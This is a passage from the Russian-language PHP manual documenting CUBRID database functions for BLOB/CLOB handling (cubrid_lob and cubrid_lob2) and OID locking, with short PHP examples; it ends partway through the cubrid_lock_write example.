  • cubrid_lob_send() - Читает данные BLOB/CLOB и отправляет их прямо в браузер

User Contributed Notes

There are no user contributed notes for this page.


Читает данные BLOB/CLOB и отправляет их прямо в браузер

  • « cubrid_lob_get
  • cubrid_lob_size »
  • PHP Manual
  • Функции CUBRID
  • Читает данные BLOB/CLOB и отправляет их прямо в браузер

cubrid_lob_send

(PECL CUBRID >= 8.3.1)

cubrid_lob_send — Читает данные BLOB/CLOB и отправляет их прямо в браузер

Описание

cubrid_lob_send(resource $conn_identifier, resource $lob_identifier): bool

cubrid_lob_send() считывает данные BLOB/CLOB и передаёт их прямо в браузер. Чтобы использовать данную функцию, необходимо сначала использовать cubrid_lob_get(), чтобы получить информацию BLOB/CLOB из CUBRID.

Список параметров

conn_identifier

Идентификатор подключения.

lob_identifier

Идентификатор LOB.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob_send()

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");

cubrid_lob_send($conn, $lobs[0]);
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob_get() - Получает данные BLOB/CLOB
  • cubrid_lob_close() - Закрывает данные BLOB/CLOB
  • cubrid_lob_size() - Получает размер данных BLOB/CLOB
  • cubrid_lob_export() - Экспортирует данные BLOB/CLOB в файл

User Contributed Notes

There are no user contributed notes for this page.


Получает размер данных BLOB/CLOB

  • « cubrid_lob_send
  • cubrid_lob2_bind »
  • PHP Manual
  • Функции CUBRID
  • Получает размер данных BLOB/CLOB

cubrid_lob_size

(PECL CUBRID >= 8.3.1)

cubrid_lob_size — Получает размер данных BLOB/CLOB

Описание

cubrid_lob_size(resource $lob_identifier): string

cubrid_lob_size() используется для получения размера данных BLOB/CLOB.

Список параметров

lob_identifier

Идентификатор LOB.

Возвращаемые значения

Строка, представляющая размер LOB-данных в случае успешного выполнения процесса, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.4.0 | Тип возвращаемого значения изменён с int на string.

Примеры

Пример #1 Пример использования cubrid_lob_size()

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
echo "Размер документа:".cubrid_lob_size($lobs[0]);
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

Смотрите также

  • cubrid_lob_get() - Получает данные BLOB/CLOB
  • cubrid_lob_close() - Закрывает данные BLOB/CLOB
  • cubrid_lob_export() - Экспортирует данные BLOB/CLOB в файл
  • cubrid_lob_send() - Читает данные BLOB/CLOB и отправляет их прямо в браузер

User Contributed Notes

There are no user contributed notes for this page.


Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров

  • « cubrid_lob_size
  • cubrid_lob2_close »
  • PHP Manual
  • Функции CUBRID
  • Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров

cubrid_lob2_bind

(PECL CUBRID >= 8.4.1)

cubrid_lob2_bind — Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров

Описание

cubrid_lob2_bind(
resource $req_identifier,
int $bind_index,
mixed $bind_value,
string $bind_value_type = ?
): bool

Функция cubrid_lob2_bind() используется для привязки данных BLOB/CLOB к соответствующей псевдопеременной в операторе SQL, который был передан в cubrid_prepare(). Если параметр bind_value_type не указан, по умолчанию будет использоваться строка "BLOB". Но если ранее использовалась функция cubrid_lob2_new(), bind_value_type будет соответствовать параметру type в cubrid_lob2_new() по умолчанию.

Список параметров

req_identifier

Идентификатор запроса, полученный в результате работы cubrid_prepare().

bind_index

Расположение параметров привязки. Начинается с 1.

bind_value

Фактическое значение для привязки.

bind_value_type

Значение должно быть равно "BLOB" или "CLOB", регистр не учитывается. Если значение не указано, по умолчанию используется "BLOB".

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob2_bind()

<?php
// Таблица: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");

cubrid_bind($req,1, 3);

$lob = cubrid_lob2_new($conn, 'CLOB');
cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_bind($req, 1, 4);

cubrid_lob2_bind($req, 2, 'CUBRID LOB2 TEST', 'CLOB');

cubrid_execute($req);

cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_new() - Создаёт объект LOB
  • cubrid_lob2_close() - Закрывает объект LOB

User Contributed Notes

There are no user contributed notes for this page.


Закрывает объект LOB

  • « cubrid_lob2_bind
  • cubrid_lob2_export »
  • PHP Manual
  • Функции CUBRID
  • Закрывает объект LOB

cubrid_lob2_close

(PECL CUBRID >= 8.4.1)

cubrid_lob2_close — Закрывает объект LOB

Описание

cubrid_lob2_close(resource $lob_identifier): bool

Функция cubrid_lob2_close() используется для закрытия объекта LOB, возвращённого функцией cubrid_lob2_new() или полученного из результирующего набора.

Список параметров

lob_identifier

Идентификатор LOB, возвращённый функцией cubrid_lob2_new() или полученный из результирующего набора.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_lob2_new() - Создаёт объект LOB

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует LOB-объект в файл

  • « cubrid_lob2_close
  • cubrid_lob2_import »
  • PHP Manual
  • Функции CUBRID
  • Экспортирует LOB-объект в файл

cubrid_lob2_export

(PECL CUBRID >= 8.4.1)

cubrid_lob2_export — Экспортирует LOB-объект в файл

Описание

cubrid_lob2_export(resource $lob_identifier, string $file_name): bool

Функция cubrid_lob2_export() используется для сохранения содержимого данных BLOB/CLOB в файл. Чтобы использовать эту функцию, необходимо использовать cubrid_lob2_new() или сначала получить LOB-объект из базы данных CUBRID. Если файл уже существует, операция завершится ошибкой. Функция не будет влиять на положение курсора LOB-объекта. Она управляет всем LOB-объектом.

Список параметров

lob_identifier

Идентификатор LOB, полученный в результате cubrid_lob2_new() или полученный из набора результатов.

filename

Имя файла, в который вы хотите импортировать данные BLOB/CLOB. Также поддерживается путь к файлу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob2_export()

<?php
// Таблица: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$req = cubrid_prepare($conn, "select * from doc");

cubrid_execute($req);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);

$row = cubrid_fetch($req, CUBRID_NUM | CUBRID_LOB);

cubrid_lob2_export($row[1], "doc_3.txt");

cubrid_lob2_close($row[1]);
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_new() - Создаёт объект LOB
  • cubrid_lob2_close() - Закрывает объект LOB
  • cubrid_lob2_import() - Импортирует данные BLOB/CLOB из файла
  • cubrid_lob2_bind() - Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров

User Contributed Notes

There are no user contributed notes for this page.


Импортирует данные BLOB/CLOB из файла

  • « cubrid_lob2_export
  • cubrid_lob2_new »
  • PHP Manual
  • Функции CUBRID
  • Импортирует данные BLOB/CLOB из файла

cubrid_lob2_import

(PECL CUBRID >= 8.4.1)

cubrid_lob2_import — Импортирует данные BLOB/CLOB из файла

Описание

cubrid_lob2_import(resource $lob_identifier, string $file_name): bool

Функция cubrid_lob2_import() используется для сохранения содержимого данных BLOB/CLOB из файла. Чтобы использовать эту функцию, необходимо использовать cubrid_lob2_new() или сначала получить LOB-объект из базы данных CUBRID. Если файл уже существует, операция завершится ошибкой. Функция не будет влиять на положение курсора LOB-объекта. Она управляет всем LOB-объектом.

Список параметров

lob_identifier

Идентификатор LOB, полученный в результате cubrid_lob2_new() или полученный из набора результатов.

filename

Имя файла, в который вы хотите импортировать данные BLOB/CLOB. Также поддерживается путь к файлу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob2_export()

<?php

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // или cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_new() - Создаёт объект LOB
  • cubrid_lob2_close() - Закрывает объект LOB
  • cubrid_lob2_export() - Экспортирует LOB-объект в файл
  • cubrid_lob2_bind() - Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект LOB

  • « cubrid_lob2_import
  • cubrid_lob2_read »
  • PHP Manual
  • Функции CUBRID
  • Создаёт объект LOB

cubrid_lob2_new

(PECL CUBRID >= 8.4.1)

cubrid_lob2_new — Создаёт объект LOB

Описание

cubrid_lob2_new(resource $conn_identifier = ?, string $type = "BLOB"): resource

Функция cubrid_lob2_new() используется для создания объекта LOB (как BLOB, так и CLOB). Её следует использовать перед привязкой объекта LOB.

Список параметров

conn_identifier

Идентификатор подключения. Если идентификатор соединения не указан, предполагается последнее подключение, открытое с помощью cubrid_connect() или cubrid_connect_with_url().

type

Значение должно быть равно "BLOB" или "CLOB", регистр не учитывается. По умолчанию используется значение "BLOB".

Возвращаемые значения

Идентификатор LOB в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_lob2_close() - Закрывает объект LOB

User Contributed Notes

There are no user contributed notes for this page.


Производит чтение из данных BLOB/CLOB

  • « cubrid_lob2_new
  • cubrid_lob2_seek64 »
  • PHP Manual
  • Функции CUBRID
  • Производит чтение из данных BLOB/CLOB

cubrid_lob2_read

(PECL CUBRID >= 8.4.1)

cubrid_lob2_read — Производит чтение из данных BLOB/CLOB

Описание

cubrid_lob2_read(resource $lob_identifier, int $len): string

Функция cubrid_lob2_read() считывает len байтов из данных LOB и возвращает прочитанные байты.

Список параметров

lob_identifier

Идентификатор LOB, возвращённый функцией cubrid_lob2_new() или полученный из результирующего набора.

len

Длина из буфера, используемая для чтения из данных LOB.

Возвращаемые значения

Возвращает содержимое в виде строки, false, если данных больше нет, или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob2_read() 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "public", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

print "текущая позиция - " . cubrid_lob2_tell($row[1]) . "\n";

cubrid_lob2_seek($row[1], 10, CUBRID_CURSOR_FIRST);

print "\nпозиция после движения вперед - " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 12);

print "\nпозиция после чтения - " . cubrid_lob2_tell($row[1]) . "\n";

print $data . "\n";

cubrid_lob2_seek($row[1], 5, CUBRID_CURSOR_CURRENT);

print "\nпозиция после повторного движения вперед - " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 20);
print $data . "\n";

cubrid_disconnect($conn);
?>

Пример #2 Пример использования cubrid_lob2_read() 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

while (true) {
if ($data = cubrid_lob2_read($row[1], 1024)) {
print $data . "\n";
}
elseif ($data === false) {
print "Данных больше нет\n";
break;
}
else {
print "Произошла ошибка\n";
break;
}
}

cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Перемещает курсор LOB-объекта

  • « cubrid_lob2_read
  • cubrid_lob2_seek »
  • PHP Manual
  • Функции CUBRID
  • Перемещает курсор LOB-объекта

cubrid_lob2_seek64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek64 — Перемещает курсор LOB-объекта

Описание

cubrid_lob2_seek64(resource $lob_identifier, string $offset, int $origin = CUBRID_CURSOR_CURRENT): bool

Функция cubrid_lob2_seek64() используется для перемещения позиции курсора LOB-объекта на значение, заданное в параметре offset, в направлении, заданном в параметре origin. Если значение параметра offset больше, чем можно сохранить целочисленные данные, вы можете использовать эту функцию.

Чтобы установить параметр origin, вы можете использовать CUBRID_CURSOR_FIRST, чтобы установить позицию курсора, перемещающегося вперёд на offset единиц от начала LOB-объекта. В этом случае параметр offset должен быть положительным значением.

Если вы используете CUBRID_CURSOR_CURRENT для origin, вы можете двигаться вперёд или назад, offset может быть положительным или отрицательным.

Если вы используете CUBRID_CURSOR_LAST для origin, вы можете перемещать назад на единицу offset с конца LOB-объекта. В этом случае параметр offset должен быть положительным значением.

Замечание:

Если вы используете эту функцию для перемещения позиции курсора LOB-объекта, вы должны передать offset в качестве строки.

Список параметров

lob_identifier

Идентификатор LOB в результате работы функции cubrid_lob2_new() или полученный из набора результатов.

offset

Количество единиц, на которое нужно переместить курсор.

origin

Параметр может иметь следующие значения:

CUBRID_CURSOR_FIRST: двигаться вперёд от начала LOB-объекта.

CUBRID_CURSOR_CURRENT: двигаться вперёд или назад от текущей позиции.

CUBRID_CURSOR_LAST: двигаться назад с конца LOB-объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования: cubrid_lob2_seek64()

<?php
// test_lob (id INT, contents CLOB)
// Длина данных doc_1.txt должна быть больше 20101029056306120215.

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // или cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);

$req = cubrid_execute($conn, "select * from test_lob");
$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob = $row[1];

cubrid_lob2_seek64($lob, "20101029056306120215", CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 20);
echo $data."\n";
cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Перемещает курсор LOB-объекта

  • « cubrid_lob2_seek64
  • cubrid_lob2_size64 »
  • PHP Manual
  • Функции CUBRID
  • Перемещает курсор LOB-объекта

cubrid_lob2_seek

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek — Перемещает курсор LOB-объекта

Описание

cubrid_lob2_seek(resource $lob_identifier, int $offset, int $origin = CUBRID_CURSOR_CURRENT): bool

Функция cubrid_lob2_seek() используется для перемещения позиции курсора LOB-объекта на значение, заданное в параметре offset, в направлении, заданном в параметре origin.

Чтобы установить параметр origin, вы можете использовать CUBRID_CURSOR_FIRST, чтобы установить позицию курсора, перемещающегося вперёд на offset единиц от начала LOB-объекта. В этом случае параметр offset должен быть положительным значением.

Если вы используете CUBRID_CURSOR_CURRENT для origin, вы можете двигаться вперёд или назад, offset может быть положительным или отрицательным.

Если вы используете CUBRID_CURSOR_LAST для origin, вы можете перемещать назад на единицу offset с конца LOB-объекта. В этом случае параметр offset должен быть положительным значением.

Список параметров

lob_identifier

Идентификатор LOB в результате работы функции cubrid_lob2_new() или полученный из набора результатов.

offset

Количество единиц, на которое нужно переместить курсор.

origin

Параметр может иметь следующие значения:

CUBRID_CURSOR_FIRST: двигаться вперёд от начала LOB-объекта.

CUBRID_CURSOR_CURRENT: двигаться вперёд или назад от текущей позиции.

CUBRID_CURSOR_LAST: двигаться назад с конца LOB-объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob2_seek()

<?php
// test_lob (id INT, contents CLOB)
$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");
$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_seek($lob, 0, CUBRID_CURSOR_LAST);
cubrid_lob2_write($lob, "beautiful");

cubrid_lob2_seek($lob, 15, CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 5);

echo $data."\n";

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Получает размер LOB-объекта

  • « cubrid_lob2_seek
  • cubrid_lob2_size »
  • PHP Manual
  • Функции CUBRID
  • Получает размер LOB-объекта

cubrid_lob2_size64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size64 — Получает размер LOB-объекта

Описание

cubrid_lob2_size64(resource $lob_identifier): string

Функция cubrid_lob2_size64() используется для получения размера LOB-объекта. Если размер LOB-объекта больше, чем могут быть сохранены целочисленные данные, вы можете использовать эту функцию и она вернёт размер в виде строки.

Список параметров

lob_identifier

Идентификатор LOB в результате работы функции cubrid_lob2_new() или полученный из набора результатов.

Возвращаемые значения

Возвращает размер LOB-объекта в виде строки в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Получает размер LOB-объекта

  • « cubrid_lob2_size64
  • cubrid_lob2_tell64 »
  • PHP Manual
  • Функции CUBRID
  • Получает размер LOB-объекта

cubrid_lob2_size

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size — Получает размер LOB-объекта

Описание

cubrid_lob2_size(resource $lob_identifier): int

Функция cubrid_lob2_size() используется для получения размера LOB-объекта.

Список параметров

lob_identifier

Идентификатор LOB в результате работы функции cubrid_lob2_new() или полученный из набора результатов.

Возвращаемые значения

Возвращает размер LOB-объекта в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Сообщает положение курсора LOB-объекта

  • « cubrid_lob2_size
  • cubrid_lob2_tell »
  • PHP Manual
  • Функции CUBRID
  • Сообщает положение курсора LOB-объекта

cubrid_lob2_tell64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell64 — Сообщает положение курсора LOB-объекта

Описание

cubrid_lob2_tell64(resource $lob_identifier): string

Функция cubrid_lob2_tell64() используется для определения положения курсора LOB-объекта. Если размер LOB-объекта больше, чем могут быть сохранены целочисленные данные, вы можете использовать эту функцию и она вернёт информацию о позиции в виде строки.

Список параметров

lob_identifier

Идентификатор Lob в результате cubrid_lob2_new() или полученный из набора результатов.

Возвращаемые значения

Возвращает позицию курсора LOB-объекта в виде строки в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Сообщает положение курсора LOB-объекта

  • « cubrid_lob2_tell64
  • cubrid_lob2_write »
  • PHP Manual
  • Функции CUBRID
  • Сообщает положение курсора LOB-объекта

cubrid_lob2_tell

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell — Сообщает положение курсора LOB-объекта

Описание

cubrid_lob2_tell(resource $lob_identifier): int

Функция cubrid_lob2_tell() используется для определения положения курсора LOB-объекта.

Список параметров

lob_identifier

Идентификатор Lob в результате cubrid_lob2_new() или полученный из набора результатов.

Возвращаемые значения

Возвращает позицию курсора LOB-объекта, когда он будет успешно обработан или false в случае возникновения ошибки.

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_write() - Записывает в LOB-объект
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Записывает в LOB-объект

  • « cubrid_lob2_tell
  • cubrid_lock_read »
  • PHP Manual
  • Функции CUBRID
  • Записывает в LOB-объект

cubrid_lob2_write

(PECL CUBRID >= 8.4.1)

cubrid_lob2_write — Записывает в LOB-объект

Описание

cubrid_lob2_write(resource $lob_identifier, string $buf): bool

Функция cubrid_lob2_write() считывает данные из buf и сохраняет их в LOB-объект. Обратите внимание, что функция может только добавлять символы.

Список параметров

lob_identifier

Идентификатор LOB, полученный в результате cubrid_lob2_new() или полученный из набора результатов.

buf

Данные, которые необходимо записать в LOB-объект.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lob2_write()

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

Пример #2 Пример использования cubrid_lob2_write()

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(1, ?)");
$lob1 = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob1, "cubrid php driver");
cubrid_lob2_bind($req, 1, $lob1);
cubrid_execute($req);

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob2 = $row[1];
cubrid_lob2_seek($lob2, 0, CUBRID_CURSOR_LAST);

$pos = cubrid_lob2_tell($lob2);
print "позиция перед записью: $pos\n";

cubrid_lob2_write($lob2, "Hello world");

$pos = cubrid_lob2_tell($lob2);
print "позиция после записи: $pos\n";

cubrid_disconnect($conn);
?>

Смотрите также

  • cubrid_lob2_read() - Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_seek() - Перемещает курсор LOB-объекта
  • cubrid_lob2_seek64() - Перемещает курсор LOB-объекта
  • cubrid_lob2_tell() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell64() - Сообщает положение курсора LOB-объекта
  • cubrid_lob2_size() - Получает размер LOB-объекта
  • cubrid_lob2_size64() - Получает размер LOB-объекта

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает блокировку чтения для данного OID

  • « cubrid_lob2_write
  • cubrid_lock_write »
  • PHP Manual
  • Функции CUBRID
  • Устанавливает блокировку чтения для данного OID

cubrid_lock_read

(PECL CUBRID >= 8.3.0)

cubrid_lock_read — Устанавливает блокировку чтения для данного OID

Описание

cubrid_lock_read(resource $conn_identifier, string $oid): bool

Функция cubrid_lock_read() используется для установки блокировки чтения экземпляра, на который указывает данный oid.

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, на который необходимо установить блокировку чтения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lock_read()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_read($conn, $oid);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

Смотрите также

  • cubrid_lock_write() - Устанавливает блокировку записи для данного OID

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает блокировку записи для данного OID

  • « cubrid_lock_read
  • cubrid_move_cursor »
  • PHP Manual
  • Функции CUBRID
  • Устанавливает блокировку записи для данного OID

cubrid_lock_write

(PECL CUBRID >= 8.3.0)

cubrid_lock_write — Устанавливает блокировку записи для данного OID

Описание

cubrid_lock_write(resource $conn_identifier, string $oid): bool

Функция cubrid_lock_write() используется для установки блокировки записи экземпляра, на который указывает данный oid.

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, на который необходимо установить блокировку записи.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_lock_write()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_write($conn, $oid);

